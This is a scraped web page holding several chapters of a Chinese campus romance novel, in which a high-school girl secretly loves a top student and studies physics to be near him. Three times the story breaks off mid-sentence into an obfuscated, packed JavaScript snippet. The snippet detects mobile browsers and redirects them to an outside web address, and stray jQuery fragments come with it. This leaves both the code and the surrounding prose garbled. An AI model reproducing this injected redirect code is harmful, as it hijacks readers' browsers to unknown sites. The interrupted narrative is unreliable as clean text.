“这不挺帅的吗?”人群外传来陈辉的声音。 一群人仓促逃跑。 那个男生被陈辉揉了揉头发,有些难以为情。 “行了,等着班长去我办公室把我那块软木板拿过来,贴在后墙上,做个照片墙吧。” 夏年正在慌张地拢起照片,听到这话,“好啊好啊,辉哥最好啦!” “哼,我好没用,你们的月考成绩可要好才行啊。” 全班一瞬窒息,哽住。 “哎——”不满的情绪溢出整个高一楼。 “国庆之前,就和你们说了,有空抱怨,不如多看几眼书。”阳光斜射进教室,陈辉在光影里来回走动,苦口婆心地教导他们,“不考试你们要干什么啊,假期把你们的心都玩疯了是不是……” 说来也是,上学总有数不清的考试,上了高中就要有钢铁一般的觉悟,不然难以熬过去。 林岁岁心里苦涩,即将要淹没在这叫高中的深海里。 她握着笔的手收紧,眼神却飘向窗外,想到了隔壁班那个时刻专注的侧影。 他好像就是被定格在那,要么是静止思考,要么就是埋头做题,偶尔挠挠头,留下几缕头发翘着。 好像在这场漫长的修行里,有那样一个人的存在也不算太差。 / 高一第一次月考的那两天,非常应景地下起了秋雨,萧瑟冷寂。林岁岁以前没有发觉,现在才诧异,今年青城的雨还真的是多到泛滥。 不知是着了凉还是学习过于劳累,林岁岁在月考时发起高烧,父母都劝她请假休息,可她却觉得自己可以继续坚持,高中第一次正式考试缺席,好像也不算好,她想要开端好,往后才会顺利。林郁青拗不过她,还是将她送去了学校。 不过,有朋友在,林岁岁没有太过悲惨,起码考试过后,总有人帮她接热水,替她打饭。 突如其来的高烧,竟让她体会了一把友情至深。 在结束最后一科物理的考试后,林岁岁拖着沉重的身子从考场回到教室,没有心思和他们对答案,只是坐在座位上一副懵懵的状态。 夏年他们回到教室后,顺手给她接了一杯热水,放在桌上,热水飘起热气,浓浓的。 于鹏飞见这孩子一脸呆滞的看着热水,手在她眼前一晃。 林岁岁依旧揣着兜,只是有反应地眨眨眼,一滴泪敏感的掉落下来。 夏年惊慌,“不是吧,岁岁,不用这么感动吧。” 林岁岁莫名,伸手摸了摸脸,抹去眼泪,“那题我选了C,我怎么会选C呢。” 陈雀、于鹏飞抿着嘴,对视一眼。 “这孩子绝对已经学到走火入魔了。” 其实林岁岁从小到大,对于学习这件事的态度一直是不迎不逆,不排斥但也绝算不上喜欢。可能恰好是她的不在意,面对学习才更轻松愉悦,加上确实该认真是认真的态度,所以她的成绩一直不算差。 当初考入青城一中时,家里自然没有太过意外,但她却算不上开心,因为她从不向往一个竞争激烈的环境,只想要安安静静的校园生活。 可来了这,才发觉一切还蛮有意思的,她感知到因为某些人或事,自己内心深处的某处变得蠢蠢欲动,以前从未有过的情绪却在她身上出现。 她也想要努力一下,像李好那样,她想不明白他为何那般心无旁骛,所以想要自己站上去看看,或许自己就会明白那是何种风景。 / 几天下来,校园生活都毫无波澜。 夏年和沉嘉遥却在所有人都倍感意外的情况下,变得熟悉起来。偶尔在走廊遇见,两人会靠在墙边,聊上几句,但更多的是在斗嘴,像两个小学生。 两个班的人每次见到这副场景,都忍着笑揶揄。 月考成绩公布的那天,是个晴天。 秋日的阳光温暖和煦,高一楼下的公告栏挤满了看成绩的学生。 林岁岁和夏年站在外围,看着陈雀想要挤进去却无缝可插的场景,叹息不止。 夏年忍不住吐槽,“岁岁,我们不看了好不好,反正我也不想看。” 她随着陈雀好不容易找到的空隙,拉着夏年进去,“你确定吗?夏叔叔不是说,你要是再考倒数,就再也不能看言情了吗?” “话是这么说,但是我可以偷偷看啊。” 终于挤到前面的陈雀,激动地喊道:“夏年,你考了班里第二十五名哎!” 这对是班级第十的陈雀来说不算是太好的成绩,但是她知道夏年已经非常努力,起码颇有成效。从最后几名,进入前后不搭的中间梯队。 夏年使劲挤走了几人,终于挤到公告栏前面,寻找到八班的成绩单,“我靠,真的哎,老天爷果然没有辜负我。” “岁岁,陈雀,感谢你们俩给我补习,哦还有于小胖,中午我请你们吃饭。” 陈雀的心情因为自己名次不错而高涨,“我要吃七号窗口的麻辣面。” 林岁岁则心不在焉地嗯了一声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499048|170253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏年揽过她的胳膊,对她明显低落的情绪不明就里:“岁岁,你考班里第九名,有什么好唉声叹气的啊。” 林岁岁闻言嘴角一抽,只是愣愣地望着隔壁班的成绩单发呆。 李好,班级第一,级部第一。 还真是让人充满距离感的成绩。 她感受到差距,内心怅然,原本因为自己生病却考的还算不错的好心情消失不见。 “我要想想管老夏要多少零花钱合适。” 身旁不知什么时候出现的沉嘉遥,出声调侃道:“夏年你有没有出息啊,才考了第二十五名,有必要开心成这样吗?” 夏年和沉嘉遥吵闹惯了,夏年伸手掐了下他的胳膊,“沉嘉遥,你有病吧,让姐姐看看你考了多少——我靠,没搞错吧,你这种人怎么能考进班里前十的。” “哎,哥哥我就是天生聪明,不服憋着。” 林岁岁下意识望他身后一瞥,却没有发现那人的身影。 夏年抱胸,“沉嘉遥,你不要脸。” 林岁岁扶额,和陈雀对视一眼,双双摇头,叹了口气。 感情是吵出来的,在这两位冤家身上充分体现。 林岁岁正对着成绩单,分析自己的各科优劣势,察觉到身后有人想要向前,下意识躲避,让开空间。 她余光一瞥,白色球鞋,熟悉的骨节分明的手,正抱着篮球。 林岁岁心头一跳,抬眼望去,正是那个人。 从侧面看去,李好的睫毛刚好撑住一片耀眼的光,随着眨眼的动作,闪闪烁烁。秋季校服耷拉在另一侧的肩膀上,男生似乎好像从不怕冷,依旧穿着黑色短袖,运动后的皮肤湿润粘稠。 她贪婪地偷偷嗅了嗅,却没有闻到其他男生难忍的汗臭味,依旧是一股清香的薄荷味,被雨洗过森林的味道。 好想知道这是什么牌子的洗衣粉。 林岁岁的手心出汗,压制住内心的狂喜,不动声色地装作在认真看大榜,余光却盛满了他的模样。 他只是停留片刻,略微看了看自己的成绩,然后从她的身边经过。由于在人群之中,离得格外近,林岁岁仿佛都能听到与他衣服摩擦的声响。 她屏住呼吸,待他从面前走过,才开始大口大口呼吸。 清冷的声音突兀响起,“沉嘉遥,走了,下节老王的课。”说着自顾自地走了。 林岁岁努力从逆光中,看清他的背影,高高瘦瘦,左手漫不经心的拍了几下篮球。 那一刻,她较劲地咬着嘴唇,看到成绩后,林岁岁察觉到自己与他的永远都无法跨越的距离感,让她一时难以平静。 沉嘉遥挑眉,边穿衣服边招呼李好慢点。 “夏年,别不好意思,要是需要你沉哥给你补习,直说就行。” 夏年气哄哄地朝他竖了个不文明的手势。 张扬的少年,朝着她不经意的一笑,回头跑向自己的朋友。 夏年却不自知的脸上泛起红晕,林岁岁轻笑一声,艰难地松开先前握得过紧而有些僵硬的双手。 背影消失在楼梯口,林岁岁在无人注视的空隙里,紧紧盯着成绩单上李好所在的位置。 遥远又迷人,好想再靠近些,再靠近些。 8. 8 接下来的几周,林岁岁慢慢悠悠看完从夏年抽屉里顺来的那本小说。 看到一半时,林岁岁才后知后觉这本书的主题是暗恋,她好像任何事都是后知后觉的。 林岁岁在物理课上,悄悄合上那本书,思索几秒,眨眨眼,每回看完一本书后,她的心里总是充满失落的情绪。 快速以旁观者的身份看完别人的一生是会难以抽离的,哪怕只是虚拟人物。 缓上几秒,她抬头望向黑板,慢悠悠记下王义军写下的物理公式。 七班的班主任王义军是物理老师,也教着八班的物理。 虽然王义军和陈辉是多年的老搭档,但与陈辉的意气风发不同,王义军早早就有了啤酒肚。 他平时总挂着一张笑脸,上课却是十分严厉。 王义军平时最喜欢的说的一句话,“不会吧,没听懂?” 就连说嘲讽的话时,他也是满怀笑意,让人毛骨悚然。 每当他说起这句话时,林岁岁总能听到夏年像只即将逮捕猎物的狼一样磨牙,大概是想冲过去咬了他。 就像此时此刻,王义军站在讲台上,手撑着黑板,扫视一周,“看你们这样,又没听懂?” 夏年紧握着笔,中性笔在她手中微微颤抖着。 林岁岁偷偷摸摸拿着单词书背诵,伸出手顺顺夏年即将炸起的毛。 王义军不知说到何处,端起盛满枸杞的茶杯,微微啄了口热茶,“哎,我们班李好……” 夏年再次气不过,咬牙切齿地凑过来,“你说他天天说李好李好,那么喜欢他,难道李好是他儿子?” “他们俩的姓都不一样。” 夏年嘴角抽搐,呵呵两声。 前方的于鹏飞回头问:“刚刚那题你们俩会了吗,教教我呗。” 林岁岁难得和夏年异口同声,“你看我们俩像会的样子吗……” 物理课对于她们俩来说,就是用来补作业和看小说的,反正听了也听不懂,还不如干点别的事。 王义军停顿几秒,“物理没有你们想的那么难,只要下定决心,一定可以学好的。” 底下的学生哀怨连连,“老师,我们也想学好,可是这不是努力就能做到的啊。” 王义军轻咳几声,“行了别抱怨了,那也得学,不管高二学文学理,物理都要给我学考过关。” 这点林岁岁认同,哪怕以后去文科,也不能放任自流,学考物理也要过关。 下课铃响起,王义军推了推眼镜,“我和你们班主任商量了一下,近期每个人都要拿着期中试卷过来找我分析一下。” 夏年惊讶,“我的天,不要这么吓人吧。” 这话被王义军听个正着,“特别是你,夏年,你那三十九分的试卷是人能考出来的吗,你第一个来,现在就跟着我去七班。” / 走廊外嘈杂混乱,人来人往,下午的阳光懒洋洋照进教室,桌上的纸张被风卷起,林岁岁站在一旁,悄悄用笔袋帮人压住。 她听着王义军分析夏年的物理试卷,他时不时轻斥几句,夏年垂着脑袋,不耐烦地听着。 下课后,夏年觉得独自面对王义军太过可怕,索性求着林岁岁一起来。 她好说话,经不住夏年的纠缠,便拿着物理试卷一起听王义军的教诲。 恰好七班上节课是体育课,空旷的教室陆陆续续进人。夏年生怕被沉嘉遥看到后会嘲笑她,每当教室进人时,她都忍不住看上几眼。 林岁岁站在她的身后,也似有似无地往后门望去。 不知不觉中,夏年拽了拽她的衣角,暗示轮到她了。 王义军喝了口茶,微眯着眼看着林岁岁的试卷,“上次,我还和你们班主任聊起你了,总体排名越来越好,就是理科成绩有些……惨不忍睹。” 惨不忍睹,感谢您还能找到形容词。 “要是理科再加把劲,你肯定会大有前途的。” 对于这种虚幻的词,林岁岁只是乖巧点头。 进进出出的人越来越多,林岁岁余光注意到后门进来了两个熟悉的身影。 先进来的是沉嘉遥,显然是去过小卖部才回的教室,嘴里叼着一根棒棒糖,看到她们俩一愣,朝着林岁岁微微点头,随即看向夏年,忍不住笑出声,夏年眼神警告他闭嘴。 但王义军还在,俩人也不敢太过造次,只是眼神交过火,夏年便继续乖巧地看着林岁岁的后脑勺。 林岁岁看到李好的那一刻,嘴角不易察觉的弯起,李好嘴里吸着小卖部买的草莓牛奶,恰好也是她爱喝的口味。 可能因为刚在球场上打过球的缘故,他的头发不像平时那般顺滑,乱糟糟的,有几根甚至翘起来,弯弯的,有些可爱。 他看到她们俩,只是淡淡看上一眼,他看不相关的人,总是没什么表情。 林岁岁的手指蜷缩,看着李好走向那个无比熟悉的座位。 她心不在焉地听着王义军分析试卷,与他擦肩而过时,林岁岁恍然觉得自己离他好近。 “行了,就这样吧,在理科上多下点功夫,老师相信你们俩一定可以的。” “嗯嗯,好的,谢谢老师。” 林岁岁被夏年拉着出门,还未走出后门,就听到沉嘉遥喊夏年,两人停顿下来。 “呐,棒棒糖,你老吃的草莓味没了,这是荔枝味的。” 夏年轻咳两声,接过棒棒糖,“谢啦。” “没事,别老去打扰我们老王,物理有不会的题来问你沉哥就行。” 夏年踢了他一脚,拽着林岁岁就跑,耳尖却已经泛红。 林岁岁被她拉回八班教室,但夏年说了什么,她都没有听进去。 她好像发现了一条,自认为的可以离李好近一些的路。好好学物理。 日后回想那段日子,林岁岁也认为自己天真又荒唐。 / 十一月底,校园里的树木凋零,枯枝向上蔓延,多了几分寂寥,不过致远路上的银杏树将道路铺成金灿灿的。 这是林岁岁极喜欢的美景,她将收集来的银杏叶夹在书本里,是三毛的《你是我不及的梦》。 你也是我不及的梦,只能偷着看几眼,生怕惊扰了你。 英语老师段虹正在讲着虚拟语气的语法,林岁岁时不时望几眼墙上的时钟,临近下课时,她把物理习题册从书堆里抽出来,翻到有折角的那一页,不知等待着什么。 一阵急促的下课铃响起,段虹难得准点下课,她匆忙丢下正在写着笔记的笔,拿着物理习题册,拍了拍夏年让她挪个空,方便自己出去。 夏年睡眼惺忪的抬眼看着她,被这一连串流畅的动作惊呆,环顾一周,大家都还在座位上抄着黑板上的知识点。 哪怕你英语好到每次考试一百二三,但也不用这样无视我们的英语老师吧。 夏年为虽然很讨厌的段虹打抱不平:“岁岁,你这么着急去哪啊?” 林岁岁的语气上扬,“去找隔壁老王问题。” 夏年瞪大双眼,看着林岁岁远去的背影,戳戳陈雀挺直的后背,“哎,你说岁岁最近是不是吃错药了,怎么突然那么热爱物理了?” “难道上次老王给她洗脑洗得那么彻底?那我怎么没事呢。” 夏年疑惑不已,林岁岁很不对劲。这一个月来,看见她的时候,要么是在做物理习题,要么就是背物理公式,还有像现在一样冲向物理办公室。 陈雀深思几秒,点点头,“我也觉得,而且她现在物理课也不走神了,问啥她都知道。” 于鹏飞被她们俩的对话气到,为林岁岁声张正义,“你们俩能不能行了,还不许我们岁岁上进了吗,她本来文科就好,理科更上一层楼不好吗。” 最后感叹一句,“人和人的差距啊!” 夏年一把抽走他手里的课外小说,“你也该提提觉悟了,看什么小说!” “还有什么时候变成你们岁岁了,别占我们岁岁便宜。” 教室熙熙攘攘,粉尘弥漫,处在其中的人也梦幻的要命,恍如一场梦,醒不醒来都无所谓,只要能和他们吵上几句,纠缠不停。 / 林岁岁穿越人声鼎沸的教学楼,到达隔着一条寂静走廊的办公楼,这里的过道大而宽阔,是可以夸张到可以打羽毛球的程度。 办公楼是今年刚建造完工完成的。为了应对青城一中的扩招,原先的办公楼距离太远,平常师生的交流不方便,索性在教学楼旁建了一栋新办公楼,走廊相连,方便不少。 这没有蜿蜒的爬山虎和茁壮生长的树木,阳光毫无阻挡地覆盖整栋楼,很暖很明媚。 此时是大课间,林岁岁也并不着急,走得缓慢,物理办公室在二楼,不必爬楼梯,没过一会儿,便到了门口。 林岁岁打了声报告,声音干净,随后进了办公室,悄悄带上半掩的门。 王义军那已经有两位学生正在排队询问问题,林岁岁站在末尾,安静等待轮到她。 办公室内没有多少人,只不远处的柜子旁有两三个正在数试卷的学生。 没有他的身影,林岁岁苦涩一笑,自己好像越来越贪婪。 自从上次的事过后,事情就变成这个样子。脑子一热,她竟成为物理的狂热爱好者,不光是身边人诧异,连她自己都没有想明白自己怎么会如此荒唐。 不过,也没有浪费太多时间,只是来几趟物理办公室,就能多见李好几面。 每回去物理办公室问题目,幸运的话就能看到李好过来搬作业亦或是数卷子。 林岁岁想起他蹲在地上,膝盖微微触地,修长的指尖划过一张张泛着油墨味的试卷。弯曲的脊背,紧皱的眉头,只是单薄的一个侧影,竟是那么的动人。 她想自己一定是被人下蛊,不然怎么会如此离谱呢。 虽然没有看到李好,但她仍继续排队等待。 轮到她时,门吱呀一响。林岁岁没敢回头看,摊开物理习题册,“老师,这个题,麻烦您了。” 王义军喝了口水,没有立刻给她讲题,“岁岁,你最近对物理很上心啊,想要报理科了?” 林岁岁哽住,她可没那么没有自知之明,她要是报理科,可能她爸妈都会被吓到,认为她是不是想不开。 “老师,我就是不想自己太偏科。” “是,你和夏年不愧是同桌,一个三十九分,一个四十九分,你比她还好一点。” 林岁岁轻扯嘴角,一旁有人擦肩而过,熟悉的薄荷清香扑面而来,随即映入眼帘的便是李好那高挑的背影。 她欲哭无泪,他一定听到了。 好想找个洞钻进去啊。 王义军给李好指了一下作业本的位置,他刚摸上林岁岁的习题册,某位老师站在办公室门口,敲了敲门,“老王,开会了,不等你了啊。” “哎哎哎,我马上马上。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499049|170253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李好那时站在王义军办公桌的另一侧,背对着她翻找作业本。 林岁岁听闻两位的对话后,就准备离开。 已经见过他了,虽然短暂但她已经满足,而且她这个物理只考四十九分的人,已经无地自容了。 没料到的是,王义军端起茶杯,还没忘记他的不及格学生,“李好,你记得把其他班的作业也拿回去,顺便教教她这个题,我要去开会了。” 李好只是低低的“嗯”一声,听不出情绪。 林岁岁心里咯噔一下,趁着李好未回头,紧盯着他看。 又是那种奇怪的感觉,冷冷的,看不明白。 待王义军拿着皮质笔记本以及他从不离身的茶杯离开办公室后,整个空间都一瞬安静。 她慌忙看向不远处,幸好还有几个仍在分试卷的学生。 林岁岁下意识松了一口气,慢条斯理地开始收拾习题册。 她还真没敢往那处想,想着李好肯定也没放在心上,自己还是先走一步吧,不然她要没法呼吸了。 李好把几摞作业本放在一旁,把推开的椅子轻声拉进桌子底下,漆黑的眼眸望向林岁岁,“刚刚讲的哪道题?” “啊?” 林岁岁完全没有意识到他的意图,略显局促地眨眨眼,杏仁眼充满震惊。 可她更不敢让李好重复一遍刚才的话,连忙重新打开习题册,“这个。” 少女粉嫩的指尖,落在某道题上。林岁岁的手指很短,小小的,指甲盖也是小又圆,但白皙又纤细,掩盖其他的不足。 李好接过她递过来的笔,他的指甲剪得很整齐,干干净净的,思考之余,手熟练地转转笔,像是想到了答案,微微俯身,肩胛骨微微浮现。 她看着李好垂眸画辅助线的侧颜,感到赧然,这样简单的题目,还要让级部物理第一名去教。 他会不会在心里嘲笑自己这么简单的题目都不会,怪不得考不及格呢。 在喜欢的人面前,总会下意识感到自卑。 不想还好,越想越觉得脸在烧。她把双手背在身后,绞在一起,压抑住紧张的情绪。 李好声音低沉,开始讲题,林岁岁连忙凑过去听。 他的解答,言简意赅,但也没有敷衍了事,没听几句她便明白解题过程。 “明白了吗?”李好放下笔,望向她。 闯入屋内的阳光落入他的眼,明亮透彻,林岁岁一瞬间被晃了眼,下意识做了个吞咽的动作。 她点头如捣蒜,“听懂了,谢谢你。” “没事。” 李好微微点头,抱起作业本,示意她,“那一摞是你们班的,你顺便拿回去吧。” “哦哦,好。” 林岁岁跟在他身后,离开办公室,望着他近在咫尺的背影,无奈地叹了口气,这条路可不可以再长一点。 可在李好那里听来,她可能先前被王义军训斥了几句,有些失落,索性放缓脚步,待她跟上来,“林岁岁,其实,物理没有你想象的那么难,多做做题,练一练。” 这是他第一次叫她的名字哎。 虽然,两人因为夏年和沉嘉遥没少见面,但他们俩着实没有什么交际,这大概是说过最多话的一次,可以载入史册。 / 晚上上过晚自习,林岁岁回到家中。 “爸爸妈妈,我回来了。” 林郁青坐在书房,昏黄灯光下,翻阅着书稿,“回来了啊,你妈妈给你把牛奶热好了,在屋里,别学太晚。” “知道了爸爸,你写稿也别太晚。” 其实说来,林岁岁爱看书这件事,与她的父母密切相关。林郁青是一名作家,早年写旅行随笔,现在主要写小说,偶尔接一接杂志社的专栏约稿,而杨梦是一名初中语文老师,说来两人的相遇也是因为书,是在一场读书会上,后来才走到了一起。 林岁岁打开明亮的台灯,从兜里翻找出一把小钥匙,将座位一旁的抽屉打开,抽屉里只放着一本蓝色的笔记本。 是在报道的那天晚上,她从林郁青的书房看见的,据说是作家协会的礼品,她看着喜欢,索性要了一本。 林岁岁写日记,与旁人不同,她是以学年为期限的,学期结束,不管用了多少,都会换上一本新的,开始新的学期。 没有什么特别的理由,可能只是对于上学的人比较方便,可这一本,她足足写了三年,不过这都是后话。 蓝色的皮质笔记本,纹路深深浅浅,像是暗藏汹涌的深海,林岁岁说不清,只一眼,她就觉得很像他,不露声色的忧郁感,也可能只是她心思细腻,能察觉到别人所看不到细节,她直觉他是个很孤独的人,哪怕众星捧月。 林岁从书包抽出那本物理习题册,大口喝了几下温度刚好的牛奶,便拿起小刀开始工作。 她将留有李好笔记的那一道题,沿着边缘缓缓割下,而后翻开笔记本,将那道题稳稳贴在最新一页,写了几个字,而后小心翼翼抚摸了几遍,虔诚地对待她的少女心事。 2007年9月2日 高一的第一天,我遇到了一个很奇怪的人,我喜欢看他在阳光下笑。 2007年9月15日 今天,我才知道他是入学第一名,是不是我对这种事多在意一点,就会早一点认识他。 …… 2007年11月27日 这是他给我讲的题,我听懂了。 9. 9 十二月初,落叶从摇摇欲坠的黄,凋零,变成地上一吹便散,一踩便碎的垃圾。 天灰蒙蒙的某天早上,林岁岁作为值日生扫着落叶,看着操场后方的垃圾场内飘起的渺渺白烟,消弭于阴沉的天幕之中。 远处几名活泼的男生拿着扫把打来打去,脚下的落叶纷飞,全然不顾。 林岁岁感叹,“看样子要下雪了。” 夏年踩着树叶,吱呀吱呀,“是哎,希望快点下雪吧,好想打雪仗。” 倏地,一声清脆的声音从远处传来,“顾成蹊,你等等我啊!” 致远路的尽头,一个少女拽着扫把,地上拉扯着一路的落叶,紧紧跟着一个步伐匆匆的男生。 夏年眯眼瞧了几眼,“我就说吧,许飘在追顾成蹊。” 林岁岁正巧无聊,也起了八卦之心,“不是社团那天还吵架了吗?” “嗯嗯,你上周发烧请假的那天,许飘和我们一起吃饭的时候说,不让她进学生会就不进,但她要学生会会长做她男朋友。” 林岁岁眼皮一跳,觉得许飘的想法难以令人理解,可能这就是所谓的得不到的永远在骚动吧。 夏年看到级部主任正在和老师们向这走进,装模作样继续扫着落叶,“其实,我觉得她也就是说说,顾成蹊那样的冷血动物和我们许飘小仙女一点都不配。” 闻言,林岁岁想起上周在国旗下演讲时一脸冷漠的顾成蹊,全程一笑不笑,几乎没有表情,的确很像冷血动物。可是他在许飘面前,表情还蛮丰富,虽然见过的几次都是不耐烦的情绪。 也不直到许飘是不是认真的,还是伺机报复他。 / 考试一场又一场,众人无暇抬头看一眼孤寂的冬景,只埋头读书。 多校联考结束的那天,外面下起了雪。 大家正在上自习,林岁岁整理着考试试卷,重新再做一遍试题。 她估算了一下物理,这次她可能会物理及格。只是及格,她的心脏都像一簇簇的烟花绽放。毕竟这段时间,林岁岁去图书市场买了一些物理的辅导书,大部分时间里都在学物理。 其实她也不了解这能造就什么,她不可能去学理科,但是好像会有一种离他很近的假象,她沉溺在里面,也不愿出来。 想到李好给她讲题的那一幕,林岁岁心下一动,便下意识转笔。接连几次都转不起来,笔吧嗒吧嗒一次又一次掉落在桌上,引得夏年好奇。 “岁岁,你干什么呢?” “啊,没什么,想学转笔,吵到你了吗。”林岁岁略带歉意的望她一眼。 “没事啊,反正我也没在学习,,怎么突然想学转笔?” 没什么特别的理由,只是发现他在做的小动作,自己也很想学会。 但这样的心思林岁岁不敢告诉夏年。 林岁岁从未把喜欢李好这件事和夏年说过,哪怕夏年连自己小学的情感史都告诉了她,倒不是怕被夏年嘲笑,只是觉得她知道后免不了一惊一乍。可能在每一次见面中,都会下意识去撮合他们,这会很尴尬,也不是林岁岁所想的,所以这就成为了她一个人的秘密。 现在这样她已经很满足,偶尔可以跟着夏年去找沉嘉遥吃饭,和他面对面而坐,已经是幸运至极。 在喜欢李好这件事上,林岁岁向来克制,也从不想要过分贪婪,不然会被吞噬。 可能因为她是一个自私的人吧,也不愿意喜欢得太深,难以脱身。 林岁岁又拿起掉落的笔,表情自然,“就是看你们会,觉得挺酷的。” “成,那我教你。” “好啊。” 夏年的手纤细修长,很适合弹钢琴的一双手,林岁岁跟着她转笔,练了不知多久,吵吵闹闹过了半节课。 不知是谁,望向了窗外,“我靠,下雪了。” 倘若是在家中,林岁岁大约只是望上几眼,便低头继续做自己的事,可是在教室,总有一股莫名的集体氛围,你们会在某一刻默契地静默一瞬,而后相视大笑。 自然也会在这样的时刻,一起向外张望,看着雪降落人间,每个人眼睑下是压抑不住的疲惫,青黑的黑眼圈浅显,但眼眶之中仍闪烁着光芒。 “岁岁,下了自习,去打雪仗吧。”夏年两眼发光。 “好啊。”正好她的心情也不错。 林岁岁把窗户开了一条缝隙,冷风灌入,有几粒雪花趁机飘落在书上洇开一片。 雪随着狂风纷飞,在空中搅浑,不着边际。 教室内嘈杂热闹,不少人已经迫不及待听到那声铃响,那样苦闷的日子里,一场雪也足以让他们从其中抽离片刻,只是看一看雪,好像也得到了慰藉。 陈辉在那样的场景中出现,肩上有湿意,像是踏雪而来。 他站在讲台上,底下的人早已收回视线,教室里只有细碎的翻书声。 沉稳的声音传来,“考的怎么样?” 鸦雀无声,只有少数人发出叹息声,或是使劲翻书,以此表达他破坏气氛的怒意。 陈辉轻笑出声,“打雪仗怎么样?” 众人纷纷震惊,抬头时都一脸不可置信。 “去不去?” “去——!!!” 林岁岁从未见过这样不寻常的班主任,在自习课带着自家孩子去操场打雪仗,然而到操场之后,她也发觉自己错了,不寻常的大有人在。 陈辉和王义军果真是极好的老搭档,七班已经在操场上疯跑许久,每个人的头发上都落满白雪。 北方的雪下得尽兴,哪怕只是刚下不久,也足以闹得起来,踩在上面可以陷好深。 林岁岁站在其中,雪落满肩,大雪纷飞,到处是模糊的白,透过那些不真切的,却是一个又一个,肆意而鲜活的人。 夏年高呼一声,“岁岁!”而后冰凉的雪球砸在她的身上,一下子崩散。 林岁岁小跑过去,和陈雀一起围攻夏年。 还未靠近,她们便看到陈辉和王义军一战即发,大打出手,像是两个孩子一般。 林岁岁想起那句话,男人至死是少年。 呆愣之中,一个雪球正中夏年的后背。 “啊——是谁!” 只见沉嘉遥插兜站在后面,眉目俊朗,林岁岁看着他对夏年笑得那一瞬间,突然察觉到宠溺的味道。 夏年气急败坏,当即团了个雪球,朝他跑去。待她追了沉嘉遥几步,才发觉自己进入了对方班级的包围圈。 几个男生毫无顾及,下手不知轻重,把夏年打得马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499050|170253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾辫都松散下来,披散着的发沾着雪,看起来像是苦情女主被甩了一般。 “林岁岁,救我啊!” 救是要救,但是姑且等一下吧,林岁岁腹黑的等待一会儿,才拉着陈雀进了阵营。 夏年拿起一捧雪,根本来不及造雪球,直接撂向叶珩的方向,“我靠,叶珩你是不是我们班的人?” 叶珩无辜耸肩,毕竟他和李好、沉嘉遥经常打球,久而久之便成为好朋友,此时欺负一下夏年还是挺有趣的。 夏年委屈巴巴,看着朝她跑来的林岁岁和陈雀,冷哼几句,“哼,我姐妹们来了,等着完蛋吧你们。” 其实她们俩的到来并没有起到多大的作用,反而身上和夏年一样沾满了雪。 林岁岁纵使手冻得通红,也依旧笑意盈盈,不断给夏年制造雪球。身旁不知何时加入战斗的许飘也跑来和她一起。 她环顾一周,陈雀此时正因为叶珩不慎摔倒,而笑得直不起腰,是从未有过的开怀大笑。 这段时间,陈雀的变化最大,好像一朵初春的花,从含苞待放到完全舒展,自然无比。 真好,以后的雪再大再厚,也不像今日,可能早已记不清他们的身影,耳畔却依旧响着他们的笑声。 林岁岁分心之中,夏年已经招架不住,躲在她的身后,雪球尽情地落在她的身上。 林岁岁翻了一个白眼,她是个人肉盾牌吗。 无奈弯弯嘴角,还是费力拿起一推雪,使劲朝不知处扔了出去。 雪仍在漫天飞舞,雾蒙蒙的,看不清。 松软的雪球抛出,砸在某人的胸口,“砰”的一下松开,落在雪地上。 …… 林岁岁脸色涨红,咽了咽口水,手足无措地看着不远处的男生。 那个雪球不偏不倚,刚刚好落在了刚巧经过的李好身上。 他无辜躺枪。 旁边的夏年拍落头发上的冰碴子,朝她竖大拇指,“好远,好准。” 林岁岁尴尬一笑,她怎么在他面前总是这么蠢。 李好不似其他人狼狈不堪,他身着白色羽绒服,高耸的衣领只露出半张脸,雪落在他的肩以及漆黑的发上,他的眼眸明亮清澈,眼尾一勾,像是没有把这件事放在身上。 也没有人把这件事当一回事,继续回到砸与被砸这件冰凉凉的事中。 只有林岁岁隔着风雪,望向李好。少年在雪地里依旧跑得肆意,鼻尖也被冻得通红,不知和叶珩聊到什么,笑起来与这寒冬截然相反,滚烫着林岁岁的心。 没人注意到她的视线朝向何处,林岁岁揉了揉通红的鼻子,掩饰住自己内心的矛盾,她的心像是被什么揪住,自己的心情完全不受自己的控制,全凭他人决定。 纵使她的内心有一场雪崩发生,对方也全然不知。毫无意义的独角戏,是所有暗恋里人都控制不住的事。 他的一举一动都牵动林岁岁的情绪,她能从中幻想出无数种可能性。 一个瞬间,就能被击溃,哪怕对方只是无辜的站着。 可他无辜,林岁岁也无辜,要怪就怪在命运吧。偏偏在那一天转过拐角去了洗手间,偏偏一天不差,恰好在第一天就遇到他。 晚一点多好,迟一点进入这暗恋的牢笼。 10. 10 十二月就这样匆匆过去。 一年四季,林岁岁最喜欢夏天,最讨厌冬天。 